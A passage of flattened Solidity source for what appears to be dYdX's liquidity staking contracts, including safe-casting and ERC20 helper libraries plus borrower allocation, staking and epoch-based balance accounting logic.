_TOTAL_BORROWER_DEBT_BALANCE_.sub(amount); emit OperatorDecreasedBorrowerDebt(borrower, amount, newDebtBalance, msg.sender); return newDebtBalance; } } // SPDX-License-Identifier: Apache-2.0 pragma solidity 0.7.5; pragma abicoder v2; /** * @title SafeCast * @author dYdX * * @dev Methods for downcasting unsigned integers, reverting on overflow. */ library SafeCast { /** * @dev Downcast to a uint16, reverting on overflow. */ function toUint16( uint256 a ) internal pure returns (uint16) { uint16 b = uint16(a); require(uint256(b) == a, 'SafeCast: toUint16 overflow'); return b; } /** * @dev Downcast to a uint32, reverting on overflow. */ function toUint32( uint256 a ) internal pure returns (uint32) { uint32 b = uint32(a); require(uint256(b) == a, 'SafeCast: toUint32 overflow'); return b; } /** * @dev Downcast to a uint112, reverting on overflow. */ function toUint112( uint256 a ) internal pure returns (uint112) { uint112 b = uint112(a); require(uint256(b) == a, 'SafeCast: toUint112 overflow'); return b; } /** * @dev Downcast to a uint120, reverting on overflow. */ function toUint120( uint256 a ) internal pure returns (uint120) { uint120 b = uint120(a); require(uint256(b) == a, 'SafeCast: toUint120 overflow'); return b; } /** * @dev Downcast to a uint128, reverting on overflow. */ function toUint128( uint256 a ) internal pure returns (uint128) { uint128 b = uint128(a); require(uint256(b) == a, 'SafeCast: toUint128 overflow'); return b; } /** * @dev Downcast to a uint224, reverting on overflow. */ function toUint224( uint256 a ) internal pure returns (uint224) { uint224 b = uint224(a); require(uint256(b) == a, 'SafeCast: toUint224 overflow'); return b; } } // SPDX-License-Identifier: MIT pragma solidity 0.7.5; import { IERC20 } from '../../interfaces/IERC20.sol'; import { SafeMath } from './SafeMath.sol'; import { Address } from './Address.sol'; /** * @title SafeERC20 * @dev From https://github.com/OpenZeppelin/openzeppelin-contracts * Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove( IERC20 token, address spender, uint256 value ) internal { require( (value == 0) || (token.allowance(address(this), spender) == 0), 'SafeERC20: approve from non-zero to non-zero allowance' ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), 'SafeERC20: call to non-contract'); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, 'SafeERC20: low-level call failed'); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), 'SafeERC20: ERC20 operation did not succeed'); } } } // SPDX-License-Identifier: Apache-2.0 pragma solidity 0.7.5; pragma abicoder v2; import { SafeERC20 } from '../../../dependencies/open-zeppelin/SafeERC20.sol'; import { SafeMath } from '../../../dependencies/open-zeppelin/SafeMath.sol'; import { IERC20 } from '../../../interfaces/IERC20.sol'; import { Math } from '../../../utils/Math.sol'; import { LS1Types } from '../lib/LS1Types.sol'; import { SafeCast } from '../lib/SafeCast.sol'; import { LS1StakedBalances } from './LS1StakedBalances.sol'; /** * @title LS1BorrowerAllocations * @author dYdX * * @dev Gives a set of addresses permission to withdraw staked funds. * * The amount that can be withdrawn depends on a borrower's allocation percentage and the total * available funds. Both the allocated percentage and total available funds can change, at * predefined times specified by LS1EpochSchedule. * * If a borrower's borrowed balance is greater than their allocation at the start of the next epoch * then they are expected and trusted to return the difference before the start of that epoch. */ abstract contract LS1BorrowerAllocations is LS1StakedBalances { using SafeCast for uint256; using SafeERC20 for IERC20; using SafeMath for uint256; // ============ Constants ============ /// @notice The total units to be allocated. uint256 public constant TOTAL_ALLOCATION = 1e4; // ============ Events ============ event ScheduledBorrowerAllocationChange( address indexed borrower, uint256 oldAllocation, uint256 newAllocation, uint256 epochNumber ); event BorrowingRestrictionChanged( address indexed borrower, bool isBorrowingRestricted ); // ============ Initializer ============ function __LS1BorrowerAllocations_init() internal { _BORROWER_ALLOCATIONS_[address(0)] = LS1Types.StoredAllocation({ currentEpoch: 0, currentEpochAllocation: TOTAL_ALLOCATION.toUint120(), nextEpochAllocation: TOTAL_ALLOCATION.toUint120() }); } // ============ Public Functions ============ /** * @notice Get the borrower allocation for the current epoch. * * @param borrower The borrower to get the allocation for. * * @return The borrower's current allocation in hundreds of a percent. */ function getAllocationFractionCurrentEpoch( address borrower ) public view returns (uint256) { return uint256(_loadBorrowerAllocation(borrower).currentEpochAllocation); } /** * @notice Get the borrower allocation for the next epoch. * * @param borrower The borrower to get the allocation for. * * @return The borrower's next allocation in hundreds of a percent. */ function getAllocationFractionNextEpoch( address borrower ) public view returns (uint256) { return uint256(_loadBorrowerAllocation(borrower).nextEpochAllocation); } /** * @notice Get the allocated borrowable token balance of a borrower for the current epoch. * * This is the amount which a borrower can be penalized for exceeding. * * @param borrower The borrower to get the allocation for. * * @return The token amount allocated to the borrower for the current epoch. */ function getAllocatedBalanceCurrentEpoch( address borrower ) public view returns (uint256) { uint256 allocation = getAllocationFractionCurrentEpoch(borrower); uint256 availableTokens = getTotalActiveBalanceCurrentEpoch(); return availableTokens.mul(allocation).div(TOTAL_ALLOCATION); } /** * @notice Preview the allocated balance of a borrower for the next epoch. * * @param borrower The borrower to get the allocation for. * * @return The anticipated token amount allocated to the borrower for the next epoch. */ function getAllocatedBalanceNextEpoch( address borrower ) public view returns (uint256) { uint256 allocation = getAllocationFractionNextEpoch(borrower); uint256 availableTokens = getTotalActiveBalanceNextEpoch(); return availableTokens.mul(allocation).div(TOTAL_ALLOCATION); } // ============ Internal Functions ============ /** * @dev Change the allocations of certain borrowers. */ function _setBorrowerAllocations( address[] calldata borrowers, uint256[] calldata newAllocations ) internal { // These must net out so that the total allocation is unchanged. uint256 oldAllocationSum = 0; uint256 newAllocationSum = 0; for (uint256 i = 0; i < borrowers.length; i++) { address borrower = borrowers[i]; uint256 newAllocation = newAllocations[i]; // Get the old allocation. LS1Types.StoredAllocation memory allocationStruct = _loadBorrowerAllocation(borrower); uint256 oldAllocation = uint256(allocationStruct.currentEpochAllocation); // Update the borrower's next allocation. allocationStruct.nextEpochAllocation = newAllocation.toUint120(); // If epoch zero hasn't started, update current allocation as well. uint256 epochNumber = 0; if (hasEpochZeroStarted()) { epochNumber = uint256(allocationStruct.currentEpoch).add(1); } else { allocationStruct.currentEpochAllocation = newAllocation.toUint120(); } // Commit the new allocation. _BORROWER_ALLOCATIONS_[borrower] = allocationStruct; emit ScheduledBorrowerAllocationChange(borrower, oldAllocation, newAllocation, epochNumber); // Record totals. oldAllocationSum = oldAllocationSum.add(oldAllocation); newAllocationSum = newAllocationSum.add(newAllocation); } // Require the total allocated units to be unchanged. require( oldAllocationSum == newAllocationSum, 'LS1BorrowerAllocations: Invalid' ); } /** * @dev Restrict a borrower from further borrowing. */ function _setBorrowingRestriction( address borrower, bool isBorrowingRestricted ) internal { bool oldIsBorrowingRestricted = _BORROWER_RESTRICTIONS_[borrower]; if (oldIsBorrowingRestricted != isBorrowingRestricted) { _BORROWER_RESTRICTIONS_[borrower] = isBorrowingRestricted; emit BorrowingRestrictionChanged(borrower, isBorrowingRestricted); } } /** * @dev Get the allocated balance that the borrower can make use of for new borrowing. * * @return The amount that the borrower can borrow up to. */ function _getAllocatedBalanceForNewBorrowing( address borrower ) internal view returns (uint256) { // Use the smaller of the current and next allocation fractions, since if a borrower's // allocation was just decreased, we should take that into account in limiting new borrows. uint256 currentAllocation = getAllocationFractionCurrentEpoch(borrower); uint256 nextAllocation = getAllocationFractionNextEpoch(borrower); uint256 allocation = Math.min(currentAllocation, nextAllocation); // If we are in the blackout window, use the next active balance. Otherwise, use current. // Note that the next active balance is never greater than the current active balance. uint256 availableTokens; if (inBlackoutWindow()) { availableTokens = getTotalActiveBalanceNextEpoch(); } else { availableTokens = getTotalActiveBalanceCurrentEpoch(); } return availableTokens.mul(allocation).div(TOTAL_ALLOCATION); } // ============ Private Functions ============ function _loadBorrowerAllocation( address borrower ) private view returns (LS1Types.StoredAllocation memory) { LS1Types.StoredAllocation memory allocation = _BORROWER_ALLOCATIONS_[borrower]; // Ignore rollover logic before epoch zero. if (hasEpochZeroStarted()) { uint256 currentEpoch = getCurrentEpoch(); if (currentEpoch > uint256(allocation.currentEpoch)) { // Roll the allocation forward. allocation.currentEpoch = currentEpoch.toUint16(); allocation.currentEpochAllocation = allocation.nextEpochAllocation; } } return allocation; } } // SPDX-License-Identifier: Apache-2.0 pragma solidity 0.7.5; pragma abicoder v2; import { SafeERC20 } from '../../../dependencies/open-zeppelin/SafeERC20.sol'; import { SafeMath } from '../../../dependencies/open-zeppelin/SafeMath.sol'; import { IERC20 } from '../../../interfaces/IERC20.sol'; import { Math } from '../../../utils/Math.sol'; import { LS1Types } from '../lib/LS1Types.sol'; import { LS1ERC20 } from './LS1ERC20.sol'; import { LS1StakedBalances } from './LS1StakedBalances.sol'; /** * @title LS1Staking * @author dYdX * * @dev External functions for stakers. See LS1StakedBalances for details on staker accounting. */ abstract contract LS1Staking is LS1StakedBalances, LS1ERC20 { using SafeERC20 for IERC20; using SafeMath for uint256; // ============ Events ============ event Staked( address indexed staker, address spender, uint256 amount ); event WithdrawalRequested( address indexed staker, uint256 amount ); event WithdrewStake( address indexed staker, address recipient, uint256 amount ); event WithdrewDebt( address indexed staker, address recipient, uint256 amount, uint256 newDebtBalance ); // ============ Constants ============ IERC20 public immutable STAKED_TOKEN; // ============ Constructor ============ constructor( IERC20 stakedToken, IERC20 rewardsToken, address rewardsTreasury, uint256 distributionStart, uint256 distributionEnd ) LS1StakedBalances(rewardsToken, rewardsTreasury, distributionStart, distributionEnd) { STAKED_TOKEN = stakedToken; } // ============ External Functions ============ /** * @notice Deposit and stake funds. These funds are active and start earning rewards immediately. * * @param amount The amount to stake. */ function stake( uint256 amount ) external nonReentrant { _stake(msg.sender, amount); } /** * @notice Deposit and stake on behalf of another address. * * @param staker The staker who will receive the stake. * @param amount The amount to stake. */ function stakeFor( address staker, uint256 amount ) external nonReentrant { _stake(staker, amount); } /** * @notice Request to withdraw funds. Starting in the next epoch, the funds will be “inactive” * and available for withdrawal. Inactive funds do not earn rewards. * * Reverts if we are currently in the blackout window. * * @param amount The amount to move from the active to the inactive balance. */ function requestWithdrawal( uint256 amount ) external nonReentrant { _requestWithdrawal(msg.sender, amount); } /** * @notice Withdraw the sender's inactive funds, and send to the specified recipient. * * @param recipient The address that should receive the funds. * @param amount The amount to withdraw from the sender's inactive balance. */ function withdrawStake( address recipient, uint256 amount ) external nonReentrant { _withdrawStake(msg.sender, recipient, amount); } /** * @notice Withdraw the max available inactive funds, and send to the specified recipient. * * This is less gas-efficient than querying the max via eth_call and calling withdrawStake(). * * @param recipient The address that should receive the funds. * * @return The withdrawn amount. */ function withdrawMaxStake( address recipient ) external nonReentrant returns (uint256) { uint256 amount = getStakeAvailableToWithdraw(msg.sender); _withdrawStake(msg.sender, recipient, amount); return amount; } /** * @notice Withdraw a debt amount owed to the sender, and send to the specified recipient. * * @param recipient The address that should receive the funds. * @param amount The token amount to withdraw from the sender's debt balance. */ function withdrawDebt( address recipient, uint256 amount ) external nonReentrant { _withdrawDebt(msg.sender, recipient, amount); } /** * @notice Withdraw the max available debt amount. * * This is less gas-efficient than querying the max via eth_call and calling withdrawDebt(). * * @param recipient The address that should receive the funds. * * @return The withdrawn amount. */ function withdrawMaxDebt( address recipient ) external nonReentrant returns (uint256) { uint256 amount = getDebtAvailableToWithdraw(msg.sender); _withdrawDebt(msg.sender, recipient, amount); return amount; } /** * @notice Settle and claim all rewards, and send them to the specified recipient. * * Call this function with eth_call to query the claimable rewards balance. * * @param recipient The address that should receive the funds. * * @return The number of rewards tokens claimed. */ function claimRewards( address recipient ) external nonReentrant returns (uint256) { return _settleAndClaimRewards(msg.sender, recipient); // Emits an event internally. } // ============ Public Functions ============ /** * @notice Get the amount of stake available to withdraw taking into account the contract balance. * * @param staker The address whose balance to check. * * @return The staker's stake amount that is inactive and available to withdraw. */ function getStakeAvailableToWithdraw( address staker ) public view returns (uint256) { // Note that the next epoch inactive balance is always at least that of the current epoch. uint256 stakerBalance = getInactiveBalanceCurrentEpoch(staker); uint256 totalStakeAvailable = getContractBalanceAvailableToWithdraw(); return Math.min(stakerBalance, totalStakeAvailable); } /** * @notice Get the funds currently available in the contract for staker withdrawals. * * @return The amount of non-debt funds in the contract. */ function getContractBalanceAvailableToWithdraw() public view returns (uint256) { uint256 contractBalance = STAKED_TOKEN.balanceOf(address(this)); uint256 availableDebtBalance = _TOTAL_DEBT_AVAILABLE_TO_WITHDRAW_; return contractBalance.sub(availableDebtBalance); // Should never underflow. } /** * @notice Get the amount of debt available to withdraw. * * @param staker The address whose balance to check. * * @return The debt amount that can be withdrawn. */ function getDebtAvailableToWithdraw( address staker ) public view returns (uint256) { // Note that `totalDebtAvailable` should never be less than the contract token balance. uint256 stakerDebtBalance = getStakerDebtBalance(staker); uint256 totalDebtAvailable = _TOTAL_DEBT_AVAILABLE_TO_WITHDRAW_; return Math.min(stakerDebtBalance, totalDebtAvailable); } // ============ Internal Functions ============ function _stake( address staker, uint256 amount ) internal { // Increase current and next active balance. _increaseCurrentAndNextActiveBalance(staker, amount); // Transfer token from the sender. STAKED_TOKEN.safeTransferFrom(msg.sender, address(this), amount); emit Staked(staker, msg.sender, amount); emit Transfer(address(0), msg.sender, amount); } function _requestWithdrawal( address staker, uint256 amount ) internal { require( !inBlackoutWindow(), 'LS1Staking: Withdraw requests restricted in the blackout window' ); // Get the staker's requestable amount and revert if there is not enough to request withdrawal. uint256 requestableBalance = getActiveBalanceNextEpoch(staker); require( amount <= requestableBalance, 'LS1Staking: Withdraw request exceeds next active balance' ); // Move amount from active to inactive in the next epoch. _moveNextBalanceActiveToInactive(staker, amount); emit WithdrawalRequested(staker, amount); } function _withdrawStake( address staker, address recipient, uint256 amount ) internal { // Get contract available amount and revert if there is not enough to withdraw. uint256 totalStakeAvailable = getContractBalanceAvailableToWithdraw(); require( amount <= totalStakeAvailable, 'LS1Staking: Withdraw exceeds amount available in the contract' ); // Get staker withdrawable balance and revert if there is not enough to withdraw. uint256 withdrawableBalance = getInactiveBalanceCurrentEpoch(staker); require( amount <= withdrawableBalance, 'LS1Staking: Withdraw exceeds inactive balance' ); // Decrease the staker's current and next inactive balance. Reverts if balance is insufficient. _decreaseCurrentAndNextInactiveBalance(staker, amount); // Transfer token to the recipient. STAKED_TOKEN.safeTransfer(recipient, amount); emit Transfer(msg.sender, address(0), amount); emit WithdrewStake(staker, recipient, amount); } // ============ Private Functions ============ function _withdrawDebt( address staker, address recipient, uint256 amount ) private { // Get old amounts and revert if there is not enough to withdraw. uint256 oldDebtBalance = _settleStakerDebtBalance(staker); require( amount <= oldDebtBalance, 'LS1Staking: Withdraw debt exceeds debt owed' ); uint256 oldDebtAvailable = _TOTAL_DEBT_AVAILABLE_TO_WITHDRAW_; require( amount <= oldDebtAvailable, 'LS1Staking: Withdraw debt exceeds amount available' ); // Caculate updated amounts and update storage. uint256 newDebtBalance = oldDebtBalance.sub(amount); uint256 newDebtAvailable = oldDebtAvailable.sub(amount); _STAKER_DEBT_BALANCES_[staker] = newDebtBalance; _TOTAL_DEBT_AVAILABLE_TO_WITHDRAW_ = newDebtAvailable; // Transfer token to the recipient. STAKED_TOKEN.safeTransfer(recipient, amount); emit WithdrewDebt(staker, recipient, amount, newDebtBalance); } } // SPDX-License-Identifier: MIT pragma solidity 0.7.5; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, 'Address: insufficient balance'); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{value: amount}(''); require(success, 'Address: unable to send value, recipient may have reverted'); } } // SPDX-License-Identifier: Apache-2.0 pragma solidity 0.7.5; pragma abicoder v2; import { SafeMath } from '../../../dependencies/open-zeppelin/SafeMath.sol'; import { IERC20 } from '../../../interfaces/IERC20.sol'; import { LS1Types } from '../lib/LS1Types.sol'; import { SafeCast } from '../lib/SafeCast.sol'; import { LS1Rewards } from './LS1Rewards.sol'; /** * @title LS1StakedBalances * @author dYdX * * @dev Accounting of staked balances. * * NOTE: Internal functions may revert if epoch zero has not started. * * STAKED BALANCE ACCOUNTING: * * A staked balance is in one of two states: * - active: Available for borrowing; earning staking rewards; cannot be withdrawn by staker. * - inactive: Unavailable for borrowing; does not earn rewards; can be withdrawn by the staker. * * A staker may have a combination of active and inactive balances. The following operations * affect staked balances as follows: * - deposit: Increase active balance. * - request withdrawal: At the end of the current epoch, move some active funds to inactive. * - withdraw: Decrease inactive balance. * - transfer: Move some active funds to another staker. * * To encode the fact that a balance may be scheduled to change at the end of a certain epoch, we * store each balance as a struct of three fields: currentEpoch, currentEpochBalance, and * nextEpochBalance. Also, inactive user balances make use of the shortfallCounter field as * described below. * * INACTIVE BALANCE ACCOUNTING: * * Inactive funds may be subject to pro-rata socialized losses in the event of a shortfall where * a borrower is late to pay back funds that have been requested for withdrawal. We track losses * via indexes. Each index represents the fraction of inactive funds that were converted into * debt during a given shortfall event. Each staker inactive balance stores a cached shortfall * counter, representing the number of shortfalls that occurred in the past relative to when the * balance was last updated. * * Any losses incurred by an inactive balance translate into an equal credit to that staker's * debt balance. See LS1DebtAccounting for more info about how the index is calculated. * * REWARDS ACCOUNTING: * * Active funds earn rewards for the period of time that they remain active. This means, after * requesting a withdrawal of some funds, those funds will continue to earn rewards until the end * of the epoch. For example: * * epoch: n n + 1 n + 2 n + 3 * | | | | * +----------+----------+----------+-----... * ^ t_0: User makes a deposit. * ^ t_1: User requests a withdrawal of all funds. * ^ t_2: The funds change state from active to inactive. * * In the above scenario, the user would earn rewards for the period from t_0 to t_2, varying * with the total staked balance in that period. If the user only request a withdrawal for a part * of their balance, then the remaining balance would continue earning rewards beyond t_2. * * User rewards must be settled via LS1Rewards any time a user's active balance changes. Special * attention is paid to the the epoch boundaries, where funds may have transitioned from active * to inactive. * * SETTLEMENT DETAILS: * * Internally, this module uses the following types of operations on stored balances: * - Load: Loads a balance, while applying settlement logic internally to get the * up-to-date result. Returns settlement results without updating state. * - Store: Stores a balance. * - Load-for-update: Performs a load and applies updates as needed to rewards or debt balances. * Since this is state-changing, it must be followed by a store operation. * - Settle: Performs load-for-update and store operations. * * This module is responsible for maintaining the following invariants to ensure rewards are * calculated correctly: * - When an active balance is loaded for update, if a rollover occurs from one epoch to the * next, the rewards index must be settled up to the boundary at which the rollover occurs. * - Because the global rewards index is needed to update the user rewards index, the total * active balance must be settled before any staker balances are settled or loaded for update. * - A staker's balance must be settled before their rewards are settled. */ abstract contract LS1StakedBalances is LS1Rewards { using SafeCast for uint256; using SafeMath for uint256; // ============ Constants ============ uint256 internal constant SHORTFALL_INDEX_BASE = 1e36; // ============ Events ============ event ReceivedDebt( address indexed staker, uint256 amount, uint256 newDebtBalance ); // ============ Constructor ============ constructor( IERC20 rewardsToken, address rewardsTreasury, uint256 distributionStart, uint256 distributionEnd ) LS1Rewards(rewardsToken, rewardsTreasury, distributionStart, distributionEnd) {} // ============ Public Functions ============ /** * @notice Get the current active balance of a staker. */ function getActiveBalanceCurrentEpoch( address staker ) public view returns (uint256) { if (!hasEpochZeroStarted()) { return 0; } (LS1Types.StoredBalance memory balance, , , ) = _loadActiveBalance(_ACTIVE_BALANCES_[staker]); return uint256(balance.currentEpochBalance); } /** * @notice Get the next epoch active balance of a staker. */ function getActiveBalanceNextEpoch( address staker ) public view returns (uint256) { if (!hasEpochZeroStarted()) { return 0; } (LS1Types.StoredBalance memory balance, , , ) = _loadActiveBalance(_ACTIVE_BALANCES_[staker]); return uint256(balance.nextEpochBalance); } /** * @notice Get the current total active balance. */ function getTotalActiveBalanceCurrentEpoch() public view returns (uint256) { if (!hasEpochZeroStarted()) { return 0; } (LS1Types.StoredBalance memory balance, , , ) = _loadActiveBalance(_TOTAL_ACTIVE_BALANCE_); return uint256(balance.currentEpochBalance); } /** * @notice Get the next epoch total active balance. */ function getTotalActiveBalanceNextEpoch() public view returns (uint256) { if (!hasEpochZeroStarted()) { return 0; } (LS1Types.StoredBalance memory balance, , , ) = _loadActiveBalance(_TOTAL_ACTIVE_BALANCE_); return uint256(balance.nextEpochBalance); } /** * @notice Get the current inactive balance of a staker. * @dev The balance is converted via the index to token units. */ function getInactiveBalanceCurrentEpoch( address staker ) public view returns (uint256) { if (!hasEpochZeroStarted()) { return 0; } (LS1Types.StoredBalance memory balance, ) = _loadUserInactiveBalance(_INACTIVE_BALANCES_[staker]); return uint256(balance.currentEpochBalance); } /** * @notice Get the next epoch inactive balance of a staker. * @dev The balance is converted via the index to token units. */ function getInactiveBalanceNextEpoch( address staker ) public view returns (uint256) { if (!hasEpochZeroStarted()) { return 0; } (LS1Types.StoredBalance memory balance, ) = _loadUserInactiveBalance(_INACTIVE_BALANCES_[staker]); return uint256(balance.nextEpochBalance); } /** * @notice Get the current total inactive balance. */ function getTotalInactiveBalanceCurrentEpoch() public view returns (uint256) { if (!hasEpochZeroStarted()) { return 0; } LS1Types.StoredBalance memory balance = _loadTotalInactiveBalance(_TOTAL_INACTIVE_BALANCE_); return uint256(balance.currentEpochBalance); } /** * @notice Get the next epoch total inactive balance. */ function getTotalInactiveBalanceNextEpoch() public view returns (uint256) { if (!hasEpochZeroStarted()) { return 0; } LS1Types.StoredBalance memory balance = _loadTotalInactiveBalance(_TOTAL_INACTIVE_BALANCE_); return uint256(balance.nextEpochBalance); } /** * @notice Get a staker's debt balance, after accounting for unsettled shortfalls. * Note that this does not modify _STAKER_DEBT_BALANCES_, so the debt balance must still be * settled before it can be withdrawn. * * @param staker The staker to get the balance of. * * @return The settled debt balance. */ function getStakerDebtBalance( address staker ) public view returns (uint256) { if (!hasEpochZeroStarted()) { return 0; } (, uint256 newDebtAmount) = _loadUserInactiveBalance(_INACTIVE_BALANCES_[staker]); return _STAKER_DEBT_BALANCES_[staker].add(newDebtAmount); } /** * @notice Get the current transferable balance for a user. The user can * only transfer their balance that is not currently inactive or going to be * inactive in the next epoch. Note that this means the user's transferable funds * are their active balance of the next epoch. * * @param account The account to get the transferable balance of. * * @return The user's transferable balance. */ function getTransferableBalance( address account ) public view returns (uint256) { return getActiveBalanceNextEpoch(account); } // ============ Internal Functions ============ function _increaseCurrentAndNextActiveBalance( address staker, uint256 amount ) internal { // Always settle total active balance before settling a staker active balance. uint256 oldTotalBalance = _increaseCurrentAndNextBalances(address(0), true, amount); uint256 oldUserBalance = _increaseCurrentAndNextBalances(staker, true, amount); // When an active balance changes at current timestamp, settle rewards to the current timestamp. _settleUserRewardsUpToNow(staker, oldUserBalance, oldTotalBalance); } function _moveNextBalanceActiveToInactive( address staker, uint256 amount ) internal { // Decrease the active balance for the next epoch. // Always settle total active balance before settling a staker active balance. _decreaseNextBalance(address(0), true, amount); _decreaseNextBalance(staker, true, amount); // Increase the inactive balance for the next epoch. _increaseNextBalance(address(0), false, amount); _increaseNextBalance(staker, false, amount); // Note that we don't need to settle rewards since the current active balance did not change. } function _transferCurrentAndNextActiveBalance( address sender, address recipient, uint256 amount ) internal { // Always settle total active balance before settling a staker active balance. uint256 totalBalance = _settleTotalActiveBalance(); // Move current and next active balances from sender to recipient. uint256 oldSenderBalance = _decreaseCurrentAndNextBalances(sender, true, amount); uint256 oldRecipientBalance = _increaseCurrentAndNextBalances(recipient, true, amount); // When an active balance changes at current timestamp, settle rewards to the current timestamp. _settleUserRewardsUpToNow(sender, oldSenderBalance, totalBalance); _settleUserRewardsUpToNow(recipient, oldRecipientBalance, totalBalance); } function _decreaseCurrentAndNextInactiveBalance( address staker, uint256 amount ) internal { // Decrease the inactive balance for the next epoch. _decreaseCurrentAndNextBalances(address(0), false, amount); _decreaseCurrentAndNextBalances(staker, false, amount); // Note that we don't settle rewards since active balances are not affected. } function _settleTotalActiveBalance() internal returns (uint256) { return _settleBalance(address(0), true); } function _settleStakerDebtBalance( address staker ) internal returns (uint256) { // Settle the inactive balance to settle any new debt. _settleBalance(staker, false); // Return the settled debt balance. return _STAKER_DEBT_BALANCES_[staker]; } function _settleAndClaimRewards( address staker, address recipient ) internal returns (uint256) { // Always settle total active balance before settling a staker active balance. uint256 totalBalance = _settleTotalActiveBalance(); // Always settle staker active balance before settling staker rewards. uint256 userBalance = _settleBalance(staker, true); // Settle rewards balance since we want to claim the full accrued amount. _settleUserRewardsUpToNow(staker, userBalance, totalBalance); // Claim rewards balance. return _claimRewards(staker, recipient); } function _applyShortfall( uint256 shortfallAmount, uint256 shortfallIndex ) internal { // Decrease the total inactive balance. _decreaseCurrentAndNextBalances(address(0), false, shortfallAmount); _SHORTFALLS_.push(LS1Types.Shortfall({ epoch: getCurrentEpoch().toUint16(), index: shortfallIndex.toUint224() })); } /** * @dev Does the same thing as _settleBalance() for a user inactive balance, but limits * the epoch we progress to, in order that we can put an upper bound on the gas expenditure of * the function. See LS1Failsafe. */ function _failsafeSettleUserInactiveBalance( address staker, uint256 maxEpoch ) internal { LS1Types.StoredBalance storage balancePtr = _getBalancePtr(staker, false); LS1Types.StoredBalance memory balance = _failsafeLoadUserInactiveBalanceForUpdate(balancePtr, staker, maxEpoch); _storeBalance(balancePtr, balance); } /** * @dev Sets the user inactive balance to zero. See LS1Failsafe. * * Since the balance will never be settled, the staker loses any debt balance that they would * have otherwise been entitled to from shortfall losses. * * Also note that we don't update the total inactive balance, but this is fine. */ function _failsafeDeleteUserInactiveBalance( address staker ) internal { LS1Types.StoredBalance storage balancePtr = _getBalancePtr(staker, false); LS1Types.StoredBalance memory balance = LS1Types.StoredBalance({ currentEpoch: 0, currentEpochBalance: 0, nextEpochBalance: 0, shortfallCounter: 0 }); _storeBalance(balancePtr, balance); } // ============ Private Functions ============ /** * @dev Load a balance for update and then store it. */ function _settleBalance( address maybeStaker, bool isActiveBalance ) private returns (uint256) { LS1Types.StoredBalance storage balancePtr = _getBalancePtr(maybeStaker, isActiveBalance); LS1Types.StoredBalance memory balance = _loadBalanceForUpdate(balancePtr, maybeStaker, isActiveBalance); uint256 currentBalance = uint256(balance.currentEpochBalance); _storeBalance(balancePtr, balance); return currentBalance; } /** * @dev Settle a balance while applying an increase. */ function _increaseCurrentAndNextBalances( address maybeStaker, bool isActiveBalance, uint256 amount ) private returns (uint256) { LS1Types.StoredBalance storage balancePtr = _getBalancePtr(maybeStaker, isActiveBalance); LS1Types.StoredBalance memory balance = _loadBalanceForUpdate(balancePtr, maybeStaker, isActiveBalance); uint256 originalCurrentBalance = uint256(balance.currentEpochBalance); balance.currentEpochBalance = originalCurrentBalance.add(amount).toUint112(); balance.nextEpochBalance = uint256(balance.nextEpochBalance).add(amount).toUint112(); _storeBalance(balancePtr, balance); return originalCurrentBalance; } /** * @dev Settle a balance while applying a decrease. */ function _decreaseCurrentAndNextBalances( address maybeStaker, bool isActiveBalance, uint256 amount ) private returns (uint256) { LS1Types.StoredBalance storage balancePtr = _getBalancePtr(maybeStaker, isActiveBalance); LS1Types.StoredBalance memory balance = _loadBalanceForUpdate(balancePtr, maybeStaker, isActiveBalance); uint256 originalCurrentBalance = uint256(balance.currentEpochBalance); balance.currentEpochBalance = originalCurrentBalance.sub(amount).toUint112(); balance.nextEpochBalance = uint256(balance.nextEpochBalance).sub(amount).toUint112(); _storeBalance(balancePtr, balance); return originalCurrentBalance; } /** * @dev Settle a balance while applying an increase. */ function _increaseNextBalance( address maybeStaker, bool isActiveBalance, uint256 amount ) private { LS1Types.StoredBalance storage balancePtr = _getBalancePtr(maybeStaker, isActiveBalance); LS1Types.StoredBalance memory balance = _loadBalanceForUpdate(balancePtr, maybeStaker, isActiveBalance); balance.nextEpochBalance = uint256(balance.nextEpochBalance).add(amount).toUint112(); _storeBalance(balancePtr, balance); } /** * @dev Settle a balance while applying a decrease. */ function _decreaseNextBalance( address maybeStaker, bool isActiveBalance, uint256 amount ) private { LS1Types.StoredBalance storage balancePtr = 